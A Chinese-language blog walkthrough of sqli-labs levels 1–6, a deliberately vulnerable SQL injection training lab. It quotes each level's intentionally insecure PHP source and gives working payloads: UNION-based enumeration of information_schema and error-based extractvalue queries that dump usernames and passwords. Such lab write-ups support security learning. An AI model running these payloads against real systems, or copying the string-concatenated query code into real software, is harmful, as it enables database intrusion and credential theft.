SQL注入靶场sqli-labs(1-6)

Less-1(基于错误的GET单引号字符型注入)

我们直接看看源码弄明白什么是单引号字符型注入

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))//判断GET获取的id不能为空
{
$id=$_GET['id'];//让id=我们获取的id
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');//这三句就是记录我们给id输入了什么值
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//sql语句
$result=mysql_query($sql);//发送一条 MySQL 查询。
$row = mysql_fetch_array($result);//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

 其实这段源码主要就是看的

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//sql语句

是这句话执行了我们sql的查询操作,而且这是GET方法获得的id,那么我们只需要将id提前使用单引号闭合就可以了,然后使用--+注释后面的语句后面的语句就不会执行了,所以我们在使用常规注入找到回显点之后,就可以使用联合查询执行我们想要使用的语句。我们实际操作一下

?id=1' order by 3 --+
?id=1' order by 4 --+

我们查看到只有三列

查询数据库(使用联合查询)

?id=1' and 1=2 union select 1,2,database() --+

 查询security内的所有表名

?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

 查表里有什么以users表为例

?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+

查看字段里的内容(以username里面的内容为例)

?id=-4' union select 1,database(), group_concat(username) from users --+

 

 Less-2 (基于错误的GET整型注入)

我们还是分析源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);


// connectivity 
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";//还是看这句,这就不需要使用单引号闭合了
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else
		{ 	
		echo "Please input the ID as parameter with numeric value";
		}

?>

我们还是看那个sql语句,这就不需要我们去闭合了,直接使用联合查询就行了

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"

那么操作起来其实和第一关差不多,只是去除了单引号

//查数据库
?id=1 and 1=2 union select 1,2,database() --+
/查表
?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
//查表中的字段
?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
//查字段中的内容
?id=0 union select 1,database(), group_concat(username) from users --+

Less-3(基于错误的GET单引号变形字符型注入)

我们还是先来看看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

我们还是看sql代码,分析一下,我们的目的就是闭合然后执行我们想要的查询语句

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

那么我们操作起来就很方便了,只要闭合然后查询就行了,和一二关差不多

//查数据库
?id=1') and 1=2 union select 1,2,database() --+
/查表
?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
//查表中的字段
?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
//查字段中的内容
?id=0') union select 1,database(), group_concat(username) from users --+

Less-4 (基于错误的GET双引号字符型注入)

我们还是看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

我们还是看见了这个sql语句,我们依旧是闭合前面注释后面,我们就加入双引号和括号进行闭合,它本身自带的双引号就被注释掉了。

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

那么我们构造起来还是很简单的和第三关差不多

//查数据库
?id=1") and 1=2 union select 1,2,database() --+
/查表
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
//查表中的字段
?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
//查字段中的内容
?id=0") union select 1,database(), group_concat(username) from users --+

Less-5 (双注入GET单引号字符型注入)

我们还是来看看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

 这里打印了错误信息 ,可以直接报错注入,也可以直接sqlmap

?id=-1'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+	

?id=-1'and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+		
数据库
?id=-1'and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
爆出一个数据库
?id=-1'and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
从当前数据库里爆出一个表名
?id=-1'and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+
从当前数据库里的" users "表里爆出一个字段名来
?id=-1'and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+
从" users "表里对应的列名中爆出一个数据来

这里我也不是很明白,大家可以去看看大佬的文章各种SQL报错函数_香可可的博客-CSDN博客_sql报错函数

 Less-6(双注入GET双引号字符型注入)

还是先看看源码

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3"  color= "#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>

 这个和第五关一样的,也是使用报错查询,就是包含用了双引号

?id=-1"and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+		
数据库
?id=-1"and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) --+
爆出一个数据库
?id=-1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
从当前数据库里爆出一个表名
?id=-1"and extractvalue(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ),0x7e)) --+
从当前数据库里的" users "表里爆出一个字段名来
?id=-1"and extractvalue(1,concat(0x7e,( select concat(id,0x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+
从" users "表里对应的列名中爆出一个数据来

这关主要就是对报错查询的练习


 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

仲瑿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值